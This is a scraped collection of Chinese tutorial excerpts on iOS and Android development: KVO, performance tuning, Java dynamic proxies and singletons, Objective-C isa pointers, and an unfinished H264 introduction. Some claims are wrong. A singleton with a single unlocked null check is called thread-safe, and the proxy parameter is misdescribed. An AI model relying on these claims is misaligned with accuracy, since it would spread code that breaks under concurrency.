for (XZKVOInfo *info in infos) {
[object removeObserver:self forKeyPath:info->_keyPath context:info->_context];
}
}

}
}



- (void)observeValueForKeyPath:(NSString *)keyPath
ofObject:(id)object
change:(NSDictionary *)change
context:(void *)context {

// NSAssert(context, @"missing context keyPath:%@ object:%@ change:%@", keyPath, object, change);



NSLog(@"%@",keyPath);
NSLog(@"%@",object);
NSLog(@"%@",change);
NSLog(@"%@",context);


// 从map中获取object对应的KVOInfo集合
NSMutableSet *infos = [_objectInfoMap objectForKey:object];

BOOL _isExisting = NO;
XZKVOInfo *info;
for (XZKVOInfo *existingInfo in infos) {
if ([existingInfo->_keyPath isEqualToString:keyPath]) {
// 观察者已存在
_isExisting = YES;
info = existingInfo;
break;
}
}

if (_isExisting == YES && info) {
XZKVOProxy *proxy = info->_object;
id observer = proxy.observer;

XZKVONitificationBlock block = info->_block;

if (block) {
block(observer, object, change);
}
}
}



- (void)dealloc {

// 移除所有观察者
[self xz_unobserverAll];

// 销毁mutex
pthread_mutex_destroy(&_mutex);
}

@end


摘自链接:https://www.jianshu.com/p/3324786893a1
收起阅读 »

iOS - 剖析性能优化相关

性能优化的几个点:1.卡顿优化在了解卡顿优化相关的前头,首先要了解 CPU 和 GPU。CPU(Central Processing Unit,中央处理器)对象的创建和销毁、对象属性的调整、布局计算、文本的计算和排版、图片的格式转换和解码、图像的绘制(Core...
继续阅读 »

性能优化的几个点:

1.卡顿优化

在了解卡顿优化相关的前头,首先要了解 CPU 和 GPU。

CPU(Central Processing Unit,中央处理器)
对象的创建和销毁、对象属性的调整、布局计算、文本的计算和排版、图片的格式转换和解码、图像的绘制(Core Graphics)都是通过 CPU 来做的。

GPU(Graphics Processing Unit,图形处理器)
纹理的渲染、


所要显示的信息一般是通过 CPU 计算或者解码,经过 CPU 的数据交给 GPU 渲染,渲染的工作在帧缓存的地方完成,然后从帧缓存读取数据到视频控制器上,最终显示在屏幕上。

在 iOS 中有双缓存机制,有前帧缓存、后帧缓存,这样渲染的效率很高。

屏幕成像原理

我们所看到的动态的屏幕的成像其实和视频一样也是一帧一帧组成的。为了把显示器的显示过程和系统的视频控制器进行同步,显示器(或者其他硬件)会用硬件时钟产生一系列的定时信号。当电子枪换到新的一行,准备进行扫描时,显示器会发出一个水平同步信号(Horizonal Synchronization),简称 HSync;而当一帧画面绘制完成后,电子枪回复到原位,准备画下一帧前,显示器会发出一个垂直同步信号(Vertical Synchronization),简称 VSync。显示器通常以固定频率进行刷新,这个刷新率就是 VSync 信号产生的频率。

卡顿成因

前面我们知道,完成显示信息的过程是:CPU 计算数据 -> GPU 进行渲染 -> 屏幕发出 VSync 信号 -> 成像,假如屏幕已经发出了 VSync 但 GPU 还没有渲染完成,则只能将上一次的数据显示出来,以致于当前计算的帧数据丢失,这样就产生了卡顿,当前的帧数据计算好后只能等待下一个周期去渲染。

解决办法

解决卡顿现象的主要思路就是:尽可能减少 CPU 和 GPU 资源的消耗。
按照 60fps 的刷帧率,每隔 16ms 就会有一次 VSync 信号产生。那么针对 CPU 和 GPU 有以下优化方案:
CPU
  • 尽量用轻量级的对象 如:不用处理事件的 UI 控件可以考虑使用 CALayer;
  • 不要频繁地调用 UIView 的相关属性 如:frame、bounds、transform 等;
  • 尽量提前计算好布局,在有需要的时候一次性调整对应属性,不要多次修改;
  • Autolayout 会比直接设置 frame 消耗更多的 CPU 资源;
  • 图片的 size 和 UIImageView 的 size 保持一致;
  • 控制线程的最大并发数量;
  • 耗时操作放入子线程;如文本的尺寸计算、绘制,图片的解码、绘制等;
  • GPU
    • 尽量避免短时间内大量图片显示;
    • GPU 能处理的最大纹理尺寸是 4096 * 4096,超过这个尺寸就会占用 CPU 资源,所以纹理不能超过这个尺寸;
    • 尽量减少透视图的数量和层次;
    • 减少透明的视图(alpha < 1),不透明的就设置 opaque 为 YES;
    • 尽量避免离屏渲染;
    离屏渲染

    在 OpenGL 中,GPU 有两种渲染方式:

    On-Screen Rendering:当前屏幕渲染,在当前用于显示的屏幕缓冲区进行渲染操作;
    Off-Screen Rendering:离屏渲染,在当前屏幕缓冲区外开辟新的缓冲区进行渲染操作;

    离屏渲染消耗性能的原因:

    离屏渲染的整个过程,需要多次切换上下文环境,先是从当前屏幕(On-Screen)切换到离屏(Off-Screen),渲染结束后,将离屏缓冲区的渲染结果显示到屏幕上,上下文环境从离屏切换到当前屏幕,这个过程会造成性能的消耗。

    哪些操作会触发离屏渲染?
  • 光栅化,layer.shouldRasterize = YES
  • 遮罩,layer.mask
  • 圆角,同时设置 layer.masksToBounds = YESlayer.cornerRadius > 0
    • 可以用 CoreGraphics 绘制裁剪圆角
  • 阴影
    • 如果设置了 layer.shadowPath 不会产生离屏渲染

    卡顿检测

    这里的卡顿检测主要是针对在主线程执行了耗时的操作所造成的,这样可以通过 RunLoop 来检测卡顿:添加 Observer 到主线程 RunLoop 中,通过监听 RunLoop 状态的切换的耗时,达到监控卡顿的目的。

    耗电优化

    耗电的主要来源为:

    1.CPU 处理;

    2.网络请求;

    3.定位;

    4.图像渲染;

    优化思路

    1.尽可能降低 CPU、GPU 功耗;

    2.少用定时器;

    3.优化 I/O 操作;

    尽量不要频繁写入小数据,最好一次性批量写入;
    读写大量重要数据时,可以用 dispatch_io,它提供了基于 GCD 的异步操作文件的 API,使用该 API 会优化磁盘访问;
    数据量大时,用数据库管理数据;

    4.网络优化;

  • 减少、压缩网络数据(JSON 比 XML 文件性能更高);
  • 若多次网络请求结果相同,尽量使用缓存;
  • 使用断点续传,否则网络不稳定时可能多次传输相同的内容;
  • 网络不可用时,不进行网络请求;
  • 让用户可以取消长时间运行或者速度很慢的网络操作,设置合适的超时时间;
  • 批量传输,如下载视频,不要传输很小的数据包,直接下载整个文件或者大块下载,然后慢慢展示;
  • 5.定位优化

  • 如果只是需要快速确定用户位置,用 CLLocationManager 的 requestLocation 方法定位,定位完成后,定位硬件会自动断电;
  • 若不是导航应用,尽量不要实时更新位置,并为完毕就关掉定位服务;
  • 尽量降低定位精度,如不要使用精度最高的 KCLLocationAccuracyBest
  • 需要后台定位时,尽量设置 pausesLocationUpdatesAutomatically 为 YES,若用户不怎么移动的时候,系统会自暂停位置更新;
  • 启动优化

    App 的启动分为两种:冷启动(Cold Launch) 和热启动(Warm Launch)
    前者表示从零开始启动 App,后者表示 App 已经存在内存中,在后台依然活着,再次点击图标启动 App。

    App 启动的优化主要是针对冷启动的优化,通过添加环境变量可以打印出 App 的启动时间分析:Edit Scheme -> Run -> Arguments -> Environment Variables 添加 DYLD_PRINT_STATISTICS 设置为 1。


    运行程序则会打印:


    这里打印的是在执行 main 函数之前的耗时信息,若想打印更详细的信息则添加环境变量为:
    DYLD_PRINT_STATISTICS_DETAILS 设置为 1。


    App 冷启动

    冷启动可分为三个阶段:dyld 阶段、Runtime 阶段、main 阶段。

    第一个阶段就是处理程序的镜像的阶段,第二个阶段是加载本程序的类、分类信息等等的 Runtime 阶段,最后是调用 main 函数阶段。

    dyld

    dyld(Dynamic Link Editor),Apple 的动态链接器,可以用来装载 Mach-O 文件(可执行文件、动态库等)


    启动 App 时,dyld 会装载 App 的可执行文件,同时会递归加载所有依赖的动态库,当 dyld 把可执行文件、动态库都装载完毕后,会通知 Runtime 进行做下一步的处理。

    Runtime

    启动 App 时,调用 map_images 进行可执行文件的内容解析和处理,再 load_images 中调用 call_load_methods调用所有 Class 和 Category 的 load 方法,然后进行 objc 结构的初始化(注册类、初始化类对象等)。然后调用 C++ 静态初始化器和 __attribute_((constructor)) 修饰的函数,到此为止,可执行文件的和动态库中所有的符号(类、协议、方法等)都已经按照格式加载到内存中,被 Runtime 管理。

    main

    在 Runtime 阶段完成后,dyld 会调用 main 函数,接下来是 UIApplication 函数,AppDelegate 的 application: didFinishLaunchingWithOptions: 函数。

    启动优化思路

    针对不同的阶段,有不同的优化思路:
    dyld

    1.减少动态库、合并动态库,定期清理不必要的动态库;

    2.减少类、分类的数量,减少 Selector 的数量,定期清理不必要的类、分类;

    3.减少 C++ 虚函数数量;

    4.Swift 开发尽量使用 struct;

    虚函数和 Java 中的抽象函数有点类似,但区别是,基类定义的虚函数,子类可以实现也可以不实现,而抽象函数子类一定要实现。

    Runtime

    用 inilialize 方法和 dispatch_once 取代所有的 __attribute_((constructor))、C++ 静态构造器、以及 Objective-C 中的 load 方法;

    main
    将一些耗时操作延迟执行,不要全部都放在 finishLaunching 方法中;

    安装包瘦身

    安装包(ipa)主要由可执行文件和资源文件组成,若不管理妥善则会造成安装包体积越来越大,所以针对资源优化我们可以将资源采取无损压缩,去除没用的资源。

    对于可执行文件的瘦身,我们可以:

    1.从编译器层面优化

    1.Strip Linked Product、Make Strings Read-Only、Symbols Hidden by Default 设置为 YES
    2.去掉异常支持,Enable C++ Exceptions、Enable Objective-C Exceptions 设置为 NO,Other C Flags 添加 -fno-exceptions;
    3.利用 AppCode,检测未使用代码检测:菜单栏 -> Code -> Inspect Code;
    4.编写 LLVM 插件检测重复代码、未调用代码;
    5.通过生成 LinkMap 文件检测;

    LinkMap

    Build Setting -> LD_MAP_FILE_PATH: 设置文件路径 ,Build Setting -> LD_GENERSTE_MAP_FILE -> YES


    运行程序可看到:


    打开可看见各种信息:


    我们可根据这个信息针对某个类进行优化。

    摘自链接:https://www.jianshu.com/p/fe566ec32d28

    收起阅读 »

    从retrofit来学动态代理

    个人感觉,retrofit中的动态代理比较典型,我就拿出来解读一下:先来阅读一下retrofit 的源码,看retrofit怎么来实现动态代理ApiService apiService = retrofit.create(ApiService.class); ...
    继续阅读 »

    个人感觉,retrofit中的动态代理比较典型,我就拿出来解读一下:

    先来阅读一下retrofit 的源码,看retrofit怎么来实现动态代理

    ApiService apiService = retrofit.create(ApiService.class);

    public <T> T create(final Class<T> service) {
    Utils.validateServiceInterface(service);
    if (validateEagerly) {
    eagerlyValidateMethods(service);
    }
    return (T) Proxy.newProxyInstance(service.getClassLoader(), new Class<?>[] { service },
    new InvocationHandler() {
    private final Platform platform = Platform.get();

    @Override public Object invoke(Object proxy, Method method, @Nullable Object[] args)
    throws Throwable {
    // If the method is a method from Object then defer to normal invocation.
    if (method.getDeclaringClass() == Object.class) {
    return method.invoke(this, args);
    }
    if (platform.isDefaultMethod(method)) {
    return platform.invokeDefaultMethod(method, service, proxy, args);
    }
    ServiceMethod<Object, Object> serviceMethod =
    (ServiceMethod<Object, Object>) loadServiceMethod(method);
    OkHttpCall<Object> okHttpCall = new OkHttpCall<>(serviceMethod, args);
    return serviceMethod.callAdapter.adapt(okHttpCall);
    }
    });
    }

    retrofit这段代码主要作用是将类里的注解等参数解析,并包装成网络请求真正的数据,来进行请求数据。

    咱模仿retrofit写一套动态代理:

    定义注解:

    @LeftFace

    @Target(ElementType.METHOD)
    @Retention(RetentionPolicy.RUNTIME)
    @Inherited
    public @interface LeftFace {
    String value() default "左面脸";
    }


    @UpFace

    @Target(ElementType.METHOD)
    @Retention(RetentionPolicy.RUNTIME)
    @Inherited
    public @interface UpFace {
    String value() default "上面脸";
    }
    创建接口

    public interface IFaceListener {

    @LeftFace
    String getFace(String name);

    @UpFace
    String getFacePoint(String name);
    }

    创建动态代理

    public class FaceCreate {

    public <T> T create(final Class<T> face){
    return (T) Proxy.newProxyInstance(face.getClassLoader(), new Class<?>[]{face}, new InvocationHandler() {
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    String result = null;
    if(method.isAnnotationPresent(LeftFace.class)){
    LeftFace leftFace = method.getAnnotation(LeftFace.class);
    result = leftFace.value();
    }

    if(method.isAnnotationPresent(UpFace.class)){
    UpFace upFace = method.getAnnotation(UpFace.class);
    result = upFace.value();
    }

    result = HString.concatObject(null,args)+result;
    return result;
    }
    });
    }

    }

    如此我们就模仿的建造了动态代理,动态代理在开发中相对与静态代理,灵活性更强。

    解析 

    new InvocationHandler() {
                @Override
                public Object invoke(Object proxy, Method method, Object[] args) 


    Object proxy:我们的真实对象
    Method method:对象的方法 
    Object[] args:对象的参数

    Proxy.newProxyInstance(face.getClassLoader(), new Class<?>[]{face}, new InvocationHandler() {


    ClassLoader loader:定义了由哪个ClassLoader对象来对生成的代理对象进行加载

    Class<?>[] interfaces:一个Interface对象的数组,表示的是我将要给我需要代理的对象提供一组什么接口,如果我提供了一组接口给它,那么这个代理对象就宣称实现了该接口(多态),这样我就能调用这组接口中的方法了

    InvocationHandler :InvocationHandler对象


    收起阅读 »

    你真的会用单例么?

    单例是什么?是一种对象创建模式,可以确保项目中一个类只产生一个实例。好处对于频繁使用的对象可以减少创建对象所花费的时间,这对于重量级对象来说,简直是福音。由于new的减少,对系统内存使用频率也会降低,减少GC的压力,并缩短GC停顿时间,这也会减少Android...
    继续阅读 »

    单例是什么?

    是一种对象创建模式,可以确保项目中一个类只产生一个实例。

    好处

    对于频繁使用的对象可以减少创建对象所花费的时间,这对于重量级对象来说,简直是福音。由于new的减少,对系统内存使用频率也会降低,减少GC的压力,并缩短GC停顿时间,这也会减少Android项目的UI卡顿。

    如何实现单例

    1、饿汉模式

    public class TestSingleton {

    private static final TestSingleton testSingleton = new TestSingleton();

    private TestSingleton(){

    }

    public static TestSingleton getInstance(){
    return testSingleton;
    }

    }

    细节我就不多写了,大家都应该知道,构造函数为private,用getInstance来获取实例

    2.、懒汉模式

    public class TestSingleton {

    private static TestSingleton testSingleton;

    private TestSingleton(){

    }

    public static TestSingleton getInstance(){
    if(testSingleton==null){
    testSingleton = new TestSingleton();
    }
    return testSingleton;
    }

    }

    比饿汉式的优点在于用时再加载,比较重量级的单例,就不适用与饿汉了。

    3、线程安全的懒汉模式

    public class TestSingleton {

    private static TestSingleton testSingleton;

    private TestSingleton(){

    }

    public static TestSingleton getInstance(){
    if(testSingleton==null){
    synchronized (TestSingleton.class){
    testSingleton = new TestSingleton();
    }
    }
    return testSingleton;
    }

    }

    可以看到的是比上面的单例多了一个对象锁,着可以保证在创建对象的时候,只有一个线程能够创建对象。

    4、线程安全的懒汉模式-DCL双重检查锁机制

    public class TestSingleton {

    private static volatile TestSingleton testSingleton;

    private TestSingleton(){

    }

    public static TestSingleton getInstance(){
    if(testSingleton==null){
    synchronized (TestSingleton.class){
    if(testSingleton==null){
    testSingleton = new TestSingleton();
    }
    }
    }
    return testSingleton;
    }

    }

    双重检查,同步块加锁机制,保证你的单例能够在加锁后的代码里判断空,还有增加了一个volatile 关键字,保证你的线程在执行指令时候按顺序执行。这也是市面上见的最多的单例。

    敲黑板!!知识点:原子操作、指令重排。

    什么是原子操作?

    简单来说,原子操作(atomic)就是不可分割的操作,在计算机中,就是指不会因为线程调度被打断的操作。

    m = 6; // 这是个原子操作

    假如m原先的值为0,那么对于这个操作,要么执行成功m变成了6,要么是没执行m还是0,而不会出现诸如m=3这种中间态——即使是在并发的线程中。

    而,声明并赋值就不是一个原子操作:

    int n = 6; // 这不是一个原子操作

    对于这个语句,至少有两个操作:

    1. 声明一个变量n
    2. 给n赋值为6

    这样就会有一个中间状态:变量n已经被声明了但是还没有被赋值的状态。

    在多线程中,由于线程执行顺序的不确定性,如果两个线程都使用m,就可能会导致不稳定的结果出现。

    什么是指令重排?

    简单来说,就是计算机为了提高执行效率,会做的一些优化,在不影响最终结果的情况下,可能会对一些语句的执行顺序进行调整。

    int a ;   // 语句1 

    a = 8 ; // 语句2

    int b = 9 ; // 语句3

    int c = a + b ; // 语句4

    正常来说,对于顺序结构,执行的顺序是自上到下,也即1234。

    但是,由于指令重排的原因,因为不影响最终的结果,所以,实际执行的顺序可能会变成3124或者1324。

    由于语句3和4没有原子性的问题,语句3和语句4也可能会拆分成原子操作,再重排。

    也就是说,对于非原子性的操作,在不影响最终结果的情况下,其拆分成的原子操作可能会被重新排列执行顺序。

    主要在于testSingleton = new TestSingleton()这句,这并非是一个原子操作,事实上在 JVM 中这句话大概做了下面 3 件事情。

    1. 给 testSingleton 分配内存
    2. 调用 testSingleton 的构造函数来初始化成员变量,形成实例
    3. 将testSingleton 对象指向分配的内存空间(执行完这步 testSingleton 才是非 null 了)

    但是在 JVM 的即时编译器中存在指令重排序的优化。也就是说上面的第二步和第三步的顺序是不能保证的,最终的执行顺序可能是 1-2-3 也可能是 1-3-2。如果是后者,则在 3 执行完毕、2 未执行之前,被线程二抢占了,这时 testSingleton 已经是非 null 了(但却没有初始化),所以线程二会直接返回 instance,然后使用,然后顺理成章地报错。

    --------------------------------------------一部分的文章可能讲到如上就嘎然而止了----------------------------------------

    推荐后两种

    5、静态内部类来实现单例

    public class TestSingleton {

    private TestSingleton(){

    }

    public static TestSingleton getInstance(){
    return TestSingletonInner.testSingleton;
    }

    private static class TestSingletonInner{
    static final TestSingleton testSingleton = new TestSingleton();
    }

    }

    static 保证数据独一份

    final 初始化完成后不能被修改,线程安全。

    敲黑板!!知识点:java在加载类的时候不会将其内部的静态内部类加载,只有在使用该内部类方法时才被调用。这明显是最好的单例,并不需要什么锁一类的机制。

    利用了类中静态变量的唯一性

    优点:

    1. jvm本身机制保证线程安全。
    2. synchronized 会导致性能问题。
    3. TestSingletonInner 是私有的,除了通过TestSingleton 访问,没有其他访问的可能性。

    6、枚举单例

    public enum  TestSingleton {

    INSTANCE;

    public void toSave(){
    }

    }

    使用TestSingleton.INSTANCE.toSave();

    创建枚举实例的过程是线程安全的,所以这种写法也没有同步的问题。如果你要自己添加一些线程安全的方法,记得控制线程安全哦。

    优点:写法简单/线程安全

    Android中的单例实际应用

    1、application

    本身就是单例,生命周期为整个程序的生命周期,可以通过这个特性,能够用来存储一些数据

    2、单例模式引起的内存泄漏

    在使用Context注意用application中的context

    收起阅读 »

    iOS 实例对象,类对象,元类对象

    OC对象的分类OC对象主要分为三类:instance(实例对象),class (类对象),meta-class(元类对象)实例对象:实例对象就是通过类调用alloc来产生的instance,每一次调用的alloc都是产生新的实例对象,内存地址都是不一样的,占据...
    继续阅读 »

    OC对象的分类

    OC对象主要分为三类:instance(实例对象),class (类对象),meta-class(元类对象)

    • 实例对象:

      实例对象就是通过类调用alloc来产生的instance,每一次调用的alloc都是产生新的实例对象,内存地址都是不一样的,占据着不同的内存 eg:

            NSObject *objc1 = [[NSObject alloc]init];
    NSObject *objc2 = [[NSObject alloc]init];

    NSLog(@"instance----%p %p",objc1,objc2);
    输出结果:



    instance实例对象存储的信息:
    1.isa指针

    2.其他成员变量


    • 我们平时说打印出来的实例对象的地址开始就是指的是isa的地址,即isa的地址排在最前面,就是我们实例对象的地址
    • 类对象

    • 类对象的获取
            Class Classobjc1 = [objc1 class];
    Class Classobjc2 = [objc2 class];
    Class Classobjc3 = object_getClass(objc1);
    Class Classobjc4 = object_getClass(objc2);
    Class Classobjc5 = [NSObject class];
    NSLog(@"class---%p %p %p %p %p ",Classobjc1,Classobjc2,Classobjc3,Classobjc4,Classobjc5);

    打印结果

    2020-09-22 15:48:00.125034+0800 OC底层[1095:69869] class---0x7fff9381e140 0x7fff9381e140 0x7fff9381e140 0x7fff9381e140 0x7fff9381e140

    从打印的结果我们可以看到,所有指针指向的类对象的地址是一样的,也就是说一个类的类对象只有唯一的一个


    • 类对象的作用

    类对象存储的信息:
    1.isa指针
    2.superclass指针
    3.类的方法(method,即减号方法),类的属性(@property),协议信息,成员变量信息(这里的成员变量不是指的值,因为每个对象的值是由每个实例对象所决定的,这里指的是成员变量的类型,比如整形,字典,字符串,以及成员变量的名字)




    元类对象

    1.元类对象的获取

            Class metaObjc1 = object_getClass([NSObject class]);
    Class metaObjc2 = object_getClass(Classobjc1);
    Class metaObjc3 = object_getClass(Classobjc3);
    Class metaObjc4 = object_getClass(Classobjc5);

    打印指针地址

    NSLog(@"meta---%p %p %p %p",metaObjc1,metaObjc2,metaObjc3,metaObjc4);
    2020-09-22 16:12:10.191008+0800 OC底层[1131:77555] instance----0x60000000c2e0 0x60000000c2f0
    2020-09-22 16:12:10.191453+0800 OC底层[1131:77555] class---0x7fff9381e140 0x7fff9381e140 0x7fff9381e140 0x7fff9381e140 0x7fff9381e140
    2020-09-22 16:12:10.191506+0800 OC底层[1131:77555] meta---0x7fff9381e0f0 0x7fff9381e0f0 0x7fff9381e0f0 0x7fff9381e0f0

    获取元类对象的方法就是利用runtime方法,传入类对象,就可以获取该类的元类对象,从打印的结果可以看出,所有的指针地址一样,也就是说一个类的元类只有唯一的一个

    特别注意一点:

    Class objc = [[NSObject class] class];
    Class objcL = [[[NSObject class] class] class];

    元类存储结构:
    元类的存储结构和类存储结构是一样的,但是存储的信息和用途不一样,元类的存储信息主要包括:
    1.isa指针
    2.superclass指针
    3.类方法(即加号方法)




    从图中我们可以看出元类的存储结构和类存储结构一样,只是有一些值为空

    • 判断是否为元类
      class_isMetaClass(objcL);
    收起阅读 »

    iOS 对象的关联---isa/superclass指针

    类对象和元类对象的存储结构里面都包含了一个isa指针,今天我们来看看它的作用,以及实例对象类对象元类对象之间的关联实例对象的isa指针当实例对象(instance)调用对象方法的时候,实例对象的isa指针指向类对象(class),在类对象中,查找对象方法并调用...
    继续阅读 »

    类对象和元类对象的存储结构里面都包含了一个isa指针,今天我们来看看它的作用,以及实例对象类对象元类对象之间的关联




    • 实例对象的isa指针

      • 当实例对象(instance)调用对象方法的时候,实例对象的isa指针指向类对象(class),在类对象中,查找对象方法并调用
    • 类对象的isa指针

      • 类对象(class)的isa指针指向元类对象(meta-class),当调用类方法时,类对象的isa指针指向元类对象,并在元类里面找到类方法并调用




    二.类对象的superclass 指针

    • 先两个类,一个Person继承自NSObject,一个类继承自Person
    /// Person继承自NSObject
    @interface Person : NSObject
    -(void)perMethod;
    +(void)perEat;
    @end

    @implementation Person

    -(void)perMethod{

    }
    +(void)perEat{

    }

    @end



    /// student继承自Person
    @interface Student : Person
    -(void)StudentMethod;
    +(void)StudentEat;
    @end
    @implementation Student

    -(void)StudentMethod{

    }
    +(void)StudentEat{

    }

    • 当实例对象调用自身的对象方法时,它在自身的class对象中找到StudentMethod方法

            Student *student = [[Student alloc]init];
    [student StudentMethod]
    • 当实例对象调用父类的方法的时候
            Student *student = [[Student alloc]init];
    [student perMethod];



    当子类调用父类的实例方法的时候,子类的class类对象的superclass指针指向父类,直至基类(NSObject)找到方法并执行(注意,这里指的是实例方法,也就是减号方法)

    三.元类对象的superclass 指针

    当子类调用父类的类方法的时候,子类的superclass指向父类,并查找到相应的类方法,调用

    [Student perEat];



    总的来说,isa,superclass的的关系可以用一副经典的图来表示




    instance的isa指向class

    class的isa指向meta-class

    meta-class的isa指向基类的meta-class

    class的superclass指向父类的class



    作者:枫紫_6174
    链接:https://www.jianshu.com/p/ffb021a4b97c
    收起阅读 »

    iOS KVO底层原理&&KVO的isa指向

    一.简单复习一下KVO的使用定义一个类,继承自NSObject,并添加一个name的属性#import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN @interface TCPerson ...
    继续阅读 »

    一.简单复习一下KVO的使用

    • 定义一个类,继承自NSObject,并添加一个name的属性
    #import <Foundation/Foundation.h>

    NS_ASSUME_NONNULL_BEGIN

    @interface TCPerson : NSObject

    @property (nonatomic, copy) NSString *name;

    @end

    NS_ASSUME_NONNULL_END
    • 在ViewController我们简单的使用一下KVO
    #import "ViewController.h"
    #import "TCPerson.h"
    @interface ViewController ()
    @property (nonatomic, strong) TCPerson *person1;
    @end

    @implementation ViewController

    - (void)viewDidLoad {
    [super viewDidLoad];
    self.person1 = [[TCPerson alloc]init];
    self.person1.name = @"liu yi fei";
    [self.person1 addObserver:self forKeyPath:@"name" options:NSKeyValueObservingOptionNew|NSKeyValueObservingOptionOld context:nil];
    }

    /// 点击屏幕出发改变self.person1的name
    /// @param touches touches description
    /// @param event event description
    - (void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event{
    self.person1.name = @"cang lao shi";
    }

    /// 监听回调
    /// @param keyPath 监听的属性名字
    /// @param object 被监听的对象
    /// @param change 改变的新/旧值
    /// @param context context description
    - (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey,id> *)change context:(void *)context{
    NSLog(@"监听到%@对象的%@发生了改变%@",object,keyPath,change);
    }

    /// 移除观察者
    - (void)dealloc{
    [self.person1 removeObserver:self forKeyPath:@"name"];
    }
    @end

    当点击屏幕的时候,控制台输出

    2020-09-24 15:53:52.527734+0800 KVO_TC[9255:98204] 监听到<TCPerson: 0x600003444d10>对象的name发生了改变{
    kind = 1;
    new = "cang lao shi";
    old = "liu yi fei";
    }

    二.深入剖析KVO的底层

    在- (void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event{
    self.person1.name = @"cang lao shi";
    }我们知道self.person1.name的本质是[self.person1 setName:@"cang lao shi"];

    - (void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event{
    // self.person1.name = @"cang lao shi";
    [self.person1 setName:@"cang lao shi"];
    }

    在TCPerson的.m文件,我们从写setter方法并打断点,可以看到当我们点击屏幕的时候,我们发现进入了setter方法

    - (void)setName:(NSString *)name{
    _name = name;
    }
    • 在ViewController我们新建一个person2,代码变成了:
    #import "ViewController.h"
    #import "TCPerson.h"
    @interface ViewController ()
    @property (nonatomic, strong) TCPerson *person1;
    @property (nonatomic, strong) TCPerson *person2;
    @end

    @implementation ViewController

    - (void)viewDidLoad {
    [super viewDidLoad];
    self.person1 = [[TCPerson alloc]init];
    self.person1.name = @"liu yi fei";
    [self.person1 addObserver:self forKeyPath:@"name" options:NSKeyValueObservingOptionNew|NSKeyValueObservingOptionOld context:nil];


    self.person2 = [[TCPerson alloc] init];
    self.person2.name = @"yyyyyyyy";
    }

    /// 点击屏幕出发改变self.person1的name
    /// @param touches touches description
    /// @param event event description
    - (void)touchesBegan:(NSSet<UITouch *> *)touches withEvent:(UIEvent *)event{
    self.person1.name = @"cang lao shi";
    // [self.person1 setName:@"cang lao shi"];

    self.person2.name = @"ttttttttt";
    }

    /// 监听回调
    /// @param keyPath 监听的属性名字
    /// @param object 被监听的对象
    /// @param change 改变的新/旧值
    /// @param context context description
    - (void)observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey,id> *)change context:(void *)context{
    NSLog(@"监听到%@对象的%@发生了改变%@",object,keyPath,change);
    }

    /// 移除观察者
    - (void)dealloc{
    [self.person1 removeObserver:self forKeyPath:@"name"];
    }
    @end

    • 注意:当我们点击屏幕的时候输出的结果是:
    2020-09-24 16:10:36.750153+0800 KVO_TC[9313:105906] 监听到<TCPerson: 0x600002ce8230>对象的name发生了改变{
    kind = 1;
    new = "cang lao shi";
    old = "liu yi fei";
    }

     
    既然我们改变name的值的时候走的都是setName:setter方法,按理说观察属性变化的时候,person2的值也应该被观察到,为什么它不会观察到person2?

    三.KVO的isa指向

    既然当我们改变属性值的时候,其本质是调用setter方法,那么在KVO中,person1和person2的setName方法应该存储在类对象中,我们先来看看这两个实例对象的isa指向:
    打开lldb

    (lldb) p self.person1.isa
    (Class) $0 = NSKVONotifying_TCPerson
    Fix-it applied, fixed expression was:
    self.person1->isa
    (lldb) p self.person2.isa
    (Class) $1 = TCPerson
    Fix-it applied, fixed expression was:
    self.person2->isa
    (lldb)
  • 从上面的打印我们看到 self.person1的isa指向了NSKVONotifying_TCPerson,而没有添加观察着的self.person2的isa却指向的是TCPerson
  • NSKVONotifying_TCPerson是runtime动态创建的类,继承自TCPerson,其内部实现可以看成(模拟的NSKVONotifying_TCPerson流程,下面代码不能在xcode中运行):

  • #import "NSKVONotifying_TCPerson.h"

    @implementation NSKVONotifying_TCPerson
    //NSKVONotifying_TCPerson的set方法实现,其本质来自于foundation框架
    - (void)setName:(NSString *)name{
    _NSSetIntVaueAndNotify();
    }
    //改变过程
    void _NSSetIntVaueAndNotify(){
    [self willChangeValueForKey:@"name"];
    [super setName:name];
    [self didChangeValueForKey:@"name"];
    }
    //通知观察者
    - (void)didChangeValueForKey:(NSString *key){
    [observe observeValueForKeyPath:(NSString *)keyPath ofObject:(id)object change:(NSDictionary<NSKeyValueChangeKey,id> *)change context:(void *)context];
    }
    @end
    未添加观察self.person2实例对象的isa指向流程图:



    添加观察self.person1实例对象的isa指向流程图



    所以KVO其本质是动态生成一个NSKVONotifying_TCPerson类,继承自TCPerson,当实例对象添加观察着之后,实例对象的isa指向了这个动态创建的类,当其属性发生改变时,调用的是该类的setter方法,而不是父类的类对象中的setter方法


    作者:枫紫_6174
    链接:https://www.jianshu.com/p/0b6083b91b04
    收起阅读 »

    iOS 音视频编解码----H264-I(关键)帧,B/P(参考)帧

    回顾一下视频里面到底是什么内容元素1.图像(image)2.音频(Audio)3.元素信息(Meta-data)编码格式1.Video:H2642.Audio:AAC(后面文章讲)3.容器封装:MP4/MOV/FLV/RM/RMVB/AVIH264当我们需要对...
    继续阅读 »

    回顾一下视频里面到底是什么



  • 内容元素

    1.图像(image)
    2.音频(Audio)
    3.元素信息(Meta-data)

  • 编码格式

    1.Video:H264
    2.Audio:AAC(后面文章讲)
    3.容器封装:MP4/MOV/FLV/RM/RMVB/AVI

  • H264

    当我们需要对发送的视频文件进行编码时,只要是H264文件,AVFoundation都提供视频编解码器支持,这个标准被广泛应用于消费者视频摄像头捕捉到的资源并成为网页流媒体视频最主要的格式。H264规范是MPEG4定义的一部分,H264遵循早期的MPEG-1/MPEG-2标准,但是在以更低比特率得到 更高图片质量方面有了进步。

  • 编码的本质



  • 为什么要编码?

    举个例子: (具体大小我没数过,只做讲解参考)
    你的老公,Helen,将于明天晚上6点零5份在重庆的江北机场接你
    ----------------------23 * 2 + 10 = 56个字符--------------------------
    你的老公将于明天晚上6点零5分在江北机场接你
    ----------------------20 * 2 + 2 = 42个字符----------------------------
    Helen将于明天晚上6点在机场接你
    ----------------------10 * 2 + 2 = 26个字符----------------------------

